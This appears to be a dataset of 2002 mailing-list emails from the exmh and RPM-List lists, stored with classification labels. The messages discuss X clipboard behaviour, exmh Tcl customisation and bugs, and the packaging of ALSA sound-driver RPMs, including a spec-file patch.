2002, Dale Alspach wrote: > My experience has been that if the item is showing in xclipboard > and is highlighted that is what is pasted using the mouse. Classic X copy-and-paste behavior is that you can only paste what is currently highlighted. In fact, it is the act of highlighting a selection that actually copies that selection into the buffer. X has no ""copy"" command -- if you highlighted it, you just copied it. > This does not seem to override what is in an application's own > paste buffer. As far as I can tell Maple's cut and paste, for > example, is isolated. If ab application has a ""copy"" command that you can choose to use separately from the process of highlighting something, that command is something the application authors wrote on their own. (And it it likely that an application that wrote an internal ""copy"" command would also have their own customized ""paste"" command, to make sure the two work together.) Whether the internal (custom) select and paste functions interoperate with the X server's global select and paste functions will vary from program to program, because in each case you are relying on the program's authors' efforts to blend separate systems. Jacob Morzinski jmorzins@mit.edu _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,exmh-users@spamassassin.taint.org,"Sat, 14 Sep 2002 08:22:58 -0500",Re: Automated forwarding,">>>>> On Fri, 13 Sep 2002, ""Wendy"" == Wendy P. Roberts wrote: Wendy> I've been trying to set a button called which Wendy> automatically forwards mail using a '-form mycomps' Wendy> without going through the editor, but so far haven't got Wendy> the right recipe. I have one that uses dist to send stuff from my work mail to my home mail. The binding looks like this: set {bindings(key,HD_Dist_Silently -form distcomps.to-me)} The ""HD_Dist_Silently"" is a hacked up version of the proc that does dist in exmh and is pasted in below. It's getting old and probably should be ""resynced"" with the current code. But it still works (on a relatively recent CVS copy of exmh) It's also possible that there's an easier way but I hacked this together quickly a year or more ago and when it worked I moved on to other tasks. --Hal proc HD_Dist_Silently { args } { global exmh msg set exmh(ctype) {dist} if {[string length $args] == 0} { set args Mh_DistSetup } if [MsgOk $msg(id) m] { if {[string compare [info command $args] $args] == 0} { # Old interface with hook procedure if [catch {$args $exmh(folder) $m} err] { ;# Setup draft msg Exmh_Status ""${args}: $err"" purple return } } else { if [catch { Exmh_Status ""dist +$exmh(folder) $m"" eval {MhExec dist +$exmh(folder) $m} -nowhatnowproc $args MhAnnoSetup $exmh(folder) $m dist } err] { Exmh_Status ""dist: $err"" purple return } } Edit_Done send ;# Just send it } } _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """Kevin Oberman"" ",exmh-users@spamassassin.taint.org,"Sun, 15 Sep 2002 13:28:59 -0700",Re: bad focus/click behaviours,"> From: Tony Nugent > Sender: exmh-users-admin@spamassassin.taint.org > Date: Sat, 14 Sep 2002 13:20:58 +1000 > > On Fri Sep 13 2002 at 07:46, ""Kevin Oberman"" wrote: > > > > > What is an example of an ""anything else"" that it fails for for you? > > > > > > Everything else :) I can't even mark text in an exmh message window > > > and then paste it into a terminal window, the cut buffer seems to be > > > completely empty (and its previous contents are no longer there > > > either). > > > (This is all guess work and may be bogus.) > > > > Are you running Gnome 1.4? I had similar problems as did several > > co-workers. Updating my Gnome components has fixed it for me and > > others, although I can't say exactly which component did the > > trick. Gnomecore or gtk would seem most likely, but it may have been > > something else. > > Indeed I am (this workstation is rh7.2 with gnome1.4, it [mostly?] > works, so I hadn't bothered to updated it to 7.3:) > > > In any case, I have not seen the problem for quite a while, now. > > So upgrading gnome will fix the problem, it's not an exmh/tktcl > issue. It did for me, but I am not willing to say it is not a tcl/tk issue as other apps seemed to work OK for cut and paste and Tk does its clipboard stuff a bit differently than most toolkits. So I'm not about to place blame. Just reporting my experience. Also, I am not talking about installing Gnome2. Just updating the many, many pieces of gnome to the current rev level. R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """Karl Hoppel"" ",exmh-users@spamassassin.taint.org,"Sun, 15 Sep 2002 21:36:26 -0400",MyIncErrors,"I recently transfered my exmh setup to a new system, and now all my email ends up in Mail/MyIncErrors folder. This is true for inbox or presort options. I'm having difficulty finding this condition in the documention. Suggestions? Cheers, Karl _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Reg Clemens ,exmh-users@spamassassin.taint.org,"Wed, 18 Sep 2002 20:41:34 -0600",(PGP problem) EXMH hangs during 'Query keyserver',"I guess the first question here should be does anyone have some updates to the PGP code in EXMH that I should know about? My current problem is that if I get a PGP signed message, I first get a button that reads: ""Check the signature with GnuPG"" If I punch the button, and I dont have the signature on my keyring then I get a message saying just that, and the message: ""Can't check signature: public key not found"" along with a button with the inscription ""Query keyserver"" If I punch the button then EXMH just hangs. Forever. If instead of punching the button, I go out to the keyserver myself and then try the message again, everything works, so it SEEMS that it must be the code that goes out to the keyserver. Anyone else with this problem? This is EXMH v2.5 and tcl/tk 8.4a4 -- Reg.Clemens reg@dwf.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tony Nugent ,exmh-users@spamassassin.taint.org,"Thu, 19 Sep 2002 19:46:01 +1000",customising FTOC display for specific folders...,"Is there any way to customise the folder table of contents for specific folders? I know it is possible to do per-folder customisation with components and replcomps for message templates, but what about -form format files for scan? Cheers Tony _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Chris Garrigues ,exmh-users@spamassassin.taint.org,"Fri, 20 Sep 2002 13:56:59 -0500",I'm back in town...,"--==_Exmh_1920300774P Content-Type: text/plain; charset=us-ascii I've been working on salary related things the past few days, but I'm starting to think about exmh again. Thanks to Robert for finding that s/$L/$lineno/ bug. So, has anybody else been looking at the performance issues that we were talking about before I left, or should I dig right in? Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1920300774P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9i297K9b4h5R0IUIRAiURAJ9aNU4uwQn+EwNOJlrvGJp9U4wVNQCcCkmT KgDY1o8a2qpBe53DfoNyX9g= =LClg -----END PGP SIGNATURE----- --==_Exmh_1920300774P-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Scott Lipcon ,exmh-workers@spamassassin.taint.org,"Sun, 22 Sep 2002 22:58:16 -0400",traceback in new exmh,"I just updated to the latest CVS - I had been running a build from June. Hitting the Flist button gives the following traceback: syntax error in expression ""int(17+1+(222-)*(19-17-2)/(224-))"" while executing ""expr int($minLine+1+($msgid-$minMsg)*($maxLine-$minLine-2)/($maxMsg-$minMsg))"" (procedure ""Ftoc_FindMsg"" line 57) invoked from within ""Ftoc_FindMsg $i"" (procedure ""Ftoc_ShowSequences"" line 16) invoked from within ""Ftoc_ShowSequences $F"" (procedure ""ScanFolder"" line 81) invoked from within ""ScanFolder inbox 0"" invoked from within ""time [list ScanFolder $F $adjustDisplay"" (procedure ""Scan_Folder"" line 2) invoked from within ""Scan_Folder $exmh(folder) $ftoc(showNew)"" (procedure ""Inc_PresortFinish"" line 7) invoked from within ""Inc_PresortFinish"" invoked from within "".fops.flist invoke"" (""uplevel"" body line 1) invoked from within ""uplevel #0 [list $w invoke]"" (procedure ""tkButtonUp"" line 7) invoked from within ""tkButtonUp .fops.flist "" (command bound to event) It seems to only happen in a folder with no unseen messages. Chris, is this related to your recent changes? Scott _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Sun, 22 Sep 2002 21:58:30 -0700",Re: Linking message [was: Re: Patch to complete a change...],"Both Move and Link are one-click actions. on a folder label Move's the current message on a folder label Link's the current message >>>Robert Elz said: > Date: Thu, 12 Sep 2002 23:26:33 -0500 > From: Hal DeVore > Message-ID: <23204.1031891193@dimebox> > > | 1) Right click on the folder label in the folder list > > That (the way I have it configured, and it sounds as if the way Tony does > too) just does a move (rather than select as target without moving). > > Of course, if you can manage to get no messages currently selected, then > it works fine. > > | 2) In the main window, the ""+"" key puts you into a ""change > | folder"" mode (the first time you use it after starting exmh), > | hit a second + and you go to ""set a target"" mode. Type a few > | characters of the folder name and hit space for autocomplete. > > This works, but is not nice if you're not using the keyboard, but just > the mouse. > > Tony: I agree - a nice way to link in one click would be good, and should > be easy to add, though currently adding mouse bindings (something like > shift right click would be a good choice) is much harder than adding > key bindings. > > But note there's no need to ""undo"" - the way I generally use link, if > the desired destination folder isn't the current selected target, is > to right click on the target, which selects it and moves the message, > (and because I have the ""automatic move to the next message on move or > link option set) select the message again, and then ""Link"". > > Exmh only permits one uncomitted action to be selected for a message at a > time, that is, one of delete, move, or link. Selecting any of those > implicitly undoes any previous choice from the three (so you cannot > achieve a ""move"" by doing a link, then delete, then commit, it needs to > be link, commit, delete, commit). (xmh was just the same there incidentally ). > > | How's spring shaping up ""down under""? > > No meaningful comment from me, I'm not there at the minute. But I'm told > that where I'm from it is cold, wet, and miserable, though has been better > during the day (sunny days, cold nights) for the past few. In any case, > all of that is a good enough reason to stay away... > > kre > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Torsten Bronger ,"""RPM Mailing List"" ","Tue, 27 Aug 2002 05:41:16 +0200","""requires:"" and relational operators","Halloechen! I have Requires: saxon >= 6.5.1 Conflicts: saxon >= 7 in my spec file. But apparently rpm ignores all version numbers. So, Requires: saxon >= 6.5.1 # Conflicts: saxon >= 7 would install even with saxon-3.0.0, and # Requires: saxon >= 6.5.1 Conflicts: saxon >= 7 wouldn't install even with saxon-6.5.2. What could be the reason for this? Tschoe, Torsten. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Torsten Bronger ,rpm-zzzlist@freshrpms.net,"Tue, 27 Aug 2002 11:31:53 +0200","Re: ""requires:"" and relational operators","Halloechen! On Dienstag, 27. August 2002 05:41 schrieben Sie: > [Question about require tag] Oops, sorry. Now I found out that there is a noewsgroup ... :-) Tschoe, Torsten. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,28 Aug 2002 23:48:57 +0300,Re: ALSA (almost) made easy,"> The devices are there now, thank Gordon for reporting the problem (and as I > said, you were the only one). Any further comments are very welcome! > > Download : http://ftp.freshrpms.net/pub/freshrpms/testing/alsa/ > New spec : http://freshrpms.net/builds/alsa-driver/alsa-driver.spec Ahh, wonderful! Just tried out these and *finally* got sound working with my Abit TH7II-RAID's integrated audio. I've been pulling hair together with the (helpful) OpenSound people for quite some time now, but we've failed to get sound to work, either with the drivers included in kernel, or the commercial OSS. Thanks a *lot* ! The RPMs seem to be fine, they worked for me out of the box (on vanilla Valhalla w/latest errata). -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,29 Aug 2002 00:02:43 +0300,Re: ALSA (almost) made easy,"On Wed, 2002-08-28 at 23:48, Ville Skytt wrote: > > The devices are there now, thank Gordon for reporting the problem (and as I > > said, you were the only one). Any further comments are very welcome! > > > > Download : http://ftp.freshrpms.net/pub/freshrpms/testing/alsa/ > > New spec : http://freshrpms.net/builds/alsa-driver/alsa-driver.spec > > Ahh, wonderful! Just tried out these and *finally* got sound working > with my Abit TH7II-RAID's integrated audio. I've been pulling hair > together with the (helpful) OpenSound people for quite some time now, > but we've failed to get sound to work, either with the drivers included > in kernel, or the commercial OSS. > > Thanks a *lot* ! The RPMs seem to be fine, they worked for me out of > the box (on vanilla Valhalla w/latest errata). ...except that I don't see an init script in the RPMs, a sample one designed for RH is supposed to be in ""utils/alsasound"". Could you take a look if it can be included? Cheers, -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 00:06:06 +0200",Re: ALSA (almost) made easy,"Once upon a time, Ville wrote : > > Thanks a *lot* ! The RPMs seem to be fine, they worked for me out of > > the box (on vanilla Valhalla w/latest errata). > > ...except that I don't see an init script in the RPMs, a sample one > designed for RH is supposed to be in ""utils/alsasound"". Could you take > a look if it can be included? It doesn't need to as Red Hat Linux already sets correct permissions on all ALSA audio devices for locally logged in users (through the console.perms file) and the modules.conf files takes care of loading the right modules on demand. Also, aumix and the scripts that come with Red Hat Linux still work for controlling the volume, so it's still saved and restored when the computer is halted, even using ALSA. I'm glad you got your card working with these! I'm now wondering if I won't maybe buy an amplifier that supports Dolby Digial decoding (my current one ""only"" does PRo Logic) since I've read that ALSA supports the S/PDIF optical output of the sound chip of my Shuttle! (http://freshrpms.net/shuttle/) >>From what I can tell after only 2 days using it : ALSA rocks, especially since having a full OSS compatibility results that it breaks nothing at all! :-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,29 Aug 2002 01:10:01 +0300,Re: ALSA (almost) made easy,"On Thu, 2002-08-29 at 00:02, Ville Skytt wrote: > > Thanks a *lot* ! The RPMs seem to be fine, they worked for me out of > > the box (on vanilla Valhalla w/latest errata). > > ...except that I don't see an init script in the RPMs, a sample one > designed for RH is supposed to be in ""utils/alsasound"". Could you take > a look if it can be included? Ok, some more nits: alsa-xmms doesn't work if I don't have alsa-lib-devel installed, but xmms dies on startup telling me: Cannot load alsa library: libasound.so: cannot open shared object file: No such file or directory libasound.so is part of alsa-lib-devel... if I install it, the ALSA XMMS output plugins works fine. I can't install the xine stuff, because xine-libs needs libGLcore.so.1, which I can't find anywhere (NVidia stuff? I have Radeon 7500...) -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 00:15:03 +0200",Re: ALSA (almost) made easy,"Once upon a time, Ville wrote : > Ok, some more nits: alsa-xmms doesn't work if I don't have > alsa-lib-devel installed, but xmms dies on startup telling me: > > Cannot load alsa library: libasound.so: cannot open shared object > file: No such file or directory > > libasound.so is part of alsa-lib-devel... if I install it, the ALSA XMMS > output plugins works fine. OK, will fix :-) > I can't install the xine stuff, because xine-libs needs libGLcore.so.1, > which I can't find anywhere (NVidia stuff? I have Radeon 7500...) Argh, got bitten again! :-( Will fix too... Thanks a lot for pointing these out! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,29 Aug 2002 01:38:38 +0300,Re: ALSA (almost) made easy,"On Thu, 2002-08-29 at 01:06, Matthias Saou wrote: > > > Thanks a *lot* ! The RPMs seem to be fine, they worked for me out of > > > the box (on vanilla Valhalla w/latest errata). > > > > ...except that I don't see an init script in the RPMs, a sample one > > designed for RH is supposed to be in ""utils/alsasound"". Could you take > > a look if it can be included? > > It doesn't need to as Red Hat Linux already sets correct permissions on all > ALSA audio devices for locally logged in users (through the console.perms > file) and the modules.conf files takes care of loading the right modules on > demand. Also, aumix and the scripts that come with Red Hat Linux still work > for controlling the volume, so it's still saved and restored when the > computer is halted, even using ALSA. Ah! The mixer stuff was what made me look for an init script in the first place, I didn't bother to check whether the existing stuff would have worked with that. Will try that out, you can assume silence == success :) > >From what I can tell after only 2 days using it : ALSA rocks, especially > since having a full OSS compatibility results that it breaks nothing at > all! :-) Agreed. Though with only 2 hours experience... -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 00:50:25 +0200",Re: ALSA (almost) made easy,"Once upon a time, Ville wrote : > Ah! The mixer stuff was what made me look for an init script in the > first place, I didn't bother to check whether the existing stuff would > have worked with that. Will try that out, you can assume silence == > success :) Well, from what I've tried, both the main and the PCM (at least) volume levels can be controlled either by ""alsamixer"" or the good old ""aumix"". > > >From what I can tell after only 2 days using it : ALSA rocks, > > >especially > > since having a full OSS compatibility results that it breaks nothing at > > all! :-) > > Agreed. Though with only 2 hours experience... I guess/hope some other people from the list will try it out ;-) Both problems you reported (libasound.so and wrong xine dependency) are now fixed in the current packages. Oh, it's maybe also worth pointing out : I've implemented at last sorting by both last change date and alphabetically for my ""build list"" in the php code : http://freshrpms.net/builds/ And yes, I accept patches/comments/suggestions about all those spec files! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,RPM-List ,28 Aug 2002 18:09:37 -0500,Re: ALSA (almost) made easy,"Thanks for this, I'm going to give them another try. One question: How do I switch between digital out and analog out with ALSA? With emu10k1-tools it's easy enough (emu-config -d for digital, emu-config -a for analog) Is there a similar method with ALSA? Lance On Wed, 2002-08-28 at 12:00, Matthias Saou wrote: > Followup to the story : > > I've now made a sub-package of alsa-driver called ""alsa-kernel"" which > contains only the kernel modules, and alsa-driver contains everything else > from the original package (device entries, include files and docs). > > This should allow installation of a single ""alsa-driver"" package and > multiple ""alsa-kernel"" if you have more than one kernel installed. Right > now the dependencies make it mandatory to have kernels installed through > rpm... people who install from source can still install the ALSA modules > from the source though ;-) > > The devices are there now, thank Gordon for reporting the problem (and as I > said, you were the only one). Any further comments are very welcome! > > Download : http://ftp.freshrpms.net/pub/freshrpms/testing/alsa/ > New spec : http://freshrpms.net/builds/alsa-driver/alsa-driver.spec > > If you aren't running kernel-2.4.18-10 for i686, simply --rebuild the > alsa-driver source rpm and you'll get a package for your running kernel. > > Matthias > > -- > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 > Load : 0.08 0.42 0.84, AC on-line, battery charging: 100% (6:36) > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Finding out files larger than given size LOST #324 To find out all files in a dir over a given size, try: find /path/to/dir_of_file -type f -size +Nk [Where N is a number like 1024 for 1mb, and multiples thereof] ####[Discussions on LIH : 04 Jul 2002]######################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,29 Aug 2002 02:07:58 +0300,Re: ALSA (almost) made easy,"On Thu, 2002-08-29 at 01:50, Matthias Saou wrote: > > Ah! The mixer stuff was what made me look for an init script in the > > first place, I didn't bother to check whether the existing stuff would > > have worked with that. Will try that out, you can assume silence == > > success :) > > Well, from what I've tried, both the main and the PCM (at least) volume > levels can be controlled either by ""alsamixer"" or the good old ""aumix"". Cool, I'll try it out as well as the new RPMs tomorrow. > > > >From what I can tell after only 2 days using it : ALSA rocks, > > > >especially > > > since having a full OSS compatibility results that it breaks nothing at > > > all! :-) > > > > Agreed. Though with only 2 hours experience... > > I guess/hope some other people from the list will try it out ;-) > > Both problems you reported (libasound.so and wrong xine dependency) are now > fixed in the current packages. Thanks, that was quick! -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,RPM-List ,28 Aug 2002 19:15:10 -0500,Re: ALSA (almost) made easy,"Ok, I got ALSA installed and there is no static inbetween mp3s like before which is great! My setup is digital 4.1 but sound is only coming from front 2 speakers and subwoofer, rear speakers there is no sound. Also alsamixer or aumix are unresponsive as well. Lance On Wed, 2002-08-28 at 18:09, Lance wrote: > Thanks for this, I'm going to give them another try. One question: How > do I switch between digital out and analog out with ALSA? With > emu10k1-tools it's easy enough (emu-config -d for digital, emu-config -a > for analog) Is there a similar method with ALSA? > > Lance > > On Wed, 2002-08-28 at 12:00, Matthias Saou wrote: > > Followup to the story : > > > > I've now made a sub-package of alsa-driver called ""alsa-kernel"" which > > contains only the kernel modules, and alsa-driver contains everything else > > from the original package (device entries, include files and docs). > > > > This should allow installation of a single ""alsa-driver"" package and > > multiple ""alsa-kernel"" if you have more than one kernel installed. Right > > now the dependencies make it mandatory to have kernels installed through > > rpm... people who install from source can still install the ALSA modules > > from the source though ;-) > > > > The devices are there now, thank Gordon for reporting the problem (and as I > > said, you were the only one). Any further comments are very welcome! > > > > Download : http://ftp.freshrpms.net/pub/freshrpms/testing/alsa/ > > New spec : http://freshrpms.net/builds/alsa-driver/alsa-driver.spec > > > > If you aren't running kernel-2.4.18-10 for i686, simply --rebuild the > > alsa-driver source rpm and you'll get a package for your running kernel. > > > > Matthias > > > > -- > > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > > Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 > > Load : 0.08 0.42 0.84, AC on-line, battery charging: 100% (6:36) > > > > _______________________________________________ > > RPM-List mailing list > > http://lists.freshrpms.net/mailman/listinfo/rpm-list > -- > : > ####[ Linux One Stanza Tip (LOST) ]########################### > > Sub : Finding out files larger than given size LOST #324 > > To find out all files in a dir over a given size, try: > find /path/to/dir_of_file -type f -size +Nk > [Where N is a number like 1024 for 1mb, and multiples thereof] > > ####[Discussions on LIH : 04 Jul 2002]######################## > : > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Finding out files larger than given size LOST #324 To find out all files in a dir over a given size, try: find /path/to/dir_of_file -type f -size +Nk [Where N is a number like 1024 for 1mb, and multiples thereof] ####[Discussions on LIH : 04 Jul 2002]######################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 06:26:38 +0200",Re: ALSA (almost) made easy,"Once upon a time, Lance wrote : > Ok, I got ALSA installed and there is no static inbetween mp3s like > before which is great! My setup is digital 4.1 but sound is only coming > from front 2 speakers and subwoofer, rear speakers there is no sound. > Also alsamixer or aumix are unresponsive as well. Maybe you could find more info or tips on the ALSA page for your card? Also, you could try ""alsactl store"", editing /etc/asound.state"" by hand (for me it contains data similar to what I can control with ""alsamixer"") then run ""alsactl restore"" and see if you're able to change what you want that way. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Daniel Pavel ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 12:46:08 +0300",Re: ALSA (almost) made easy,"This is a multi-part message in MIME format. --------------090303060407010605030507 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Matthias Saou wrote: > I guess/hope some other people from the list will try it out ;-) > > Both problems you reported (libasound.so and wrong xine dependency) are now > fixed in the current packages. > > Oh, it's maybe also worth pointing out : I've implemented at last sorting > by both last change date and alphabetically for my ""build list"" in the php > code : http://freshrpms.net/builds/ > > And yes, I accept patches/comments/suggestions about all those spec files! Sure thing :) I've added to the spec some flags to remove OSS and ISA-PNP support at build time if one wishes to, so is's possible to do a rpmbuild --recompile --without oss --without isapnp (I haven't included OSS in my 2.4.19, because VT82433 on my motherboard is not supported :( yet, and I'm too lazy to recompile the kernel :)). Also, having the kernel compiled by me, I have no kernel-source package installed. I've added a flag ""kernsrc"", that also can be used --without, to remove the dependency for kernel-source at build time. It would be nice to check the correct kernel include files actually exist (/lib/modules/`uname -r`/build/include/linux/*.h), though; however, I'm a beginner in RPM building -- is it possible to BuildRequire for a file not provided by a package at all? I've googled a bit, and found no way to do that. I was also considering adding some sort of flag for the --with-cards option in alsa's ./configure, but don't know how to do that. Only found out about --without from your first alsa-driver.spec, and existing RPM docs don't help much. Oh, and one more thing :). At first I've installed the first version of alsa-driver for 2.4.18-10, although I don't have that kernel, to supply the dependency for the rest of the alsa rpm's, and compiled the modules from source. It created the /dev files and all. Then wanted to make my own rpm for 2.4.19, so now I'm trying to rpmbuild the alsa-kernel package. Removed all alsa rpms, and tried my spec: rpmbuild --ba alsa-driver.spec.mine --without oss --without isapnp --without kernsrc But I get this: ==[long successful compile snipped]===================================== warning: File listed twice: /dev/adsp warning: File listed twice: /dev/amidi Finding Provides: /usr/lib/rpm/find-provides Finding Requires: /usr/lib/rpm/find-requires PreReq: /bin/sh /bin/sh rpmlib(PayloadFilesHavePrefix) <= 4.0-1 rpmlib(CompressedFileNames) <= 3.0.4-1 Requires(interp): /bin/sh /bin/sh Requires(rpmlib): rpmlib(PayloadFilesHavePrefix) <= 4.0-1 rpmlib(CompressedFileNames) <= 3.0.4-1 Requires(post): /bin/sh Requires(postun): /bin/sh Requires: alsa-kernel = 0.9.0rc3 /sbin/depmod Processing files: alsa-kernel-0.9.0rc3-fr4_2.4.19 Finding Provides: /usr/lib/rpm/find-provides Finding Requires: /usr/lib/rpm/find-requires PreReq: rpmlib(PayloadFilesHavePrefix) <= 4.0-1 rpmlib(CompressedFileNames) <= 3.0.4-1 Requires(rpmlib): rpmlib(PayloadFilesHavePrefix) <= 4.0-1 rpmlib(CompressedFileNames) <= 3.0.4-1 Requires: alsa-driver = 0.9.0rc3 kernel = 2.4.19 Checking for unpackaged file(s): /usr/lib/rpm/check-files /var/tmp/alsa-driver-0.9.0rc3-root error: Installed (but unpackaged) file(s) found: /etc/makedev.d/00macros /etc/rc.d/init.d/alsasound RPM build errors: File listed twice: /dev/adsp File listed twice: /dev/amidi Installed (but unpackaged) file(s) found: /etc/makedev.d/00macros /etc/rc.d/init.d/alsasound ======================================================================== Like I said, I'm a beginned with RPM building, so I don't understand much of what's going on here. The 00macros file is from the MAKEDEV rpm, and alsasound was supposed to be installed by alsa-driver, I think. It is not in the filesystem, anyway. I've looked in /var/tmp/alsa-driver-0.9.0rc3-root, they are there in etc. For 00macros I think the part that does it is this line in alsa-driver.spec: cp -a %{_sysconfdir}/makedev.d/00macros /{buildroot}%{_sysconfdir}/makedev.d/ And alsasound is installed by %{BUILDIDR}/Makefile. Oh, and I think I've forgot to mention, I'm running beta-null :). > Matthias -silent -- ... And on the seventh day, God was arrested for tresspassing. --------------090303060407010605030507 Content-Type: text/plain; name=""alsa-driver.spec.patch"" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename=""alsa-driver.spec.patch"" 6a7,17 > > %define withoss yes > %{?_without_oss:%define withoss no} > > %define withisapnp auto > %{?_without_isapnp:%define withisapnp no} > > %define kernsrc 1 > %{?_without_kernsrc:%define kernsrc 0} > > 20a32 > %if %{kernsrc} 21a34,36 > %else > BuildRequires: MAKEDEV > %endif 64c79 < %configure --- > %configure --with-oss=%{withoss} --with-isapnp=%{withisapnp} 119a135,137 > * Thu Aug 29 2002 Daniel Pavel > - Added OSS and ISA-PNP build-time flags. > - Added kernel-source requirement flag. --------------090303060407010605030507-- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 29 Aug 2002 12:09:26 +0200",Re: ALSA (almost) made easy,"Once upon a time, Daniel wrote : > > And yes, I accept patches/comments/suggestions about all those spec > > files! > > Sure thing :) Cool :-) > I've added to the spec some flags to remove OSS and ISA-PNP support at > build time if one wishes to, so is's possible to do a > > rpmbuild --recompile --without oss --without isapnp OK, I'll add this. > Also, having the kernel compiled by me, I have no kernel-source package > installed. I've added a flag ""kernsrc"", that also can be used > --without, to remove the dependency for kernel-source at build time. It > would be nice to check the correct kernel include files actually exist > (/lib/modules/`uname -r`/build/include/linux/*.h), though; however, I'm > a beginner in RPM building -- is it possible to BuildRequire for a file > not provided by a package at all? I've googled a bit, and found no way > to do that. Requiring a file that isn't part of an rpm is not possible, no, except maybe by stopping the build process if it isn't found... but that's errr... ugly! And I really think that for people who installed a kernel from sources, the easiest is to install the alsa kernel drivers from source too... > I was also considering adding some sort of flag for the --with-cards > option in alsa's ./configure, but don't know how to do that. Only found > out about --without from your first alsa-driver.spec, and existing RPM > docs don't help much. This would be a tricky one since to use the ""--with "" feature of rpmbuild, I think you'd need to add individual handling of each and every card :-/ > Oh, and one more thing :). At first I've installed the first version of > alsa-driver for 2.4.18-10, although I don't have that kernel, to supply > the dependency for the rest of the alsa rpm's, and compiled the modules > from source. It created the /dev files and all. That's what the 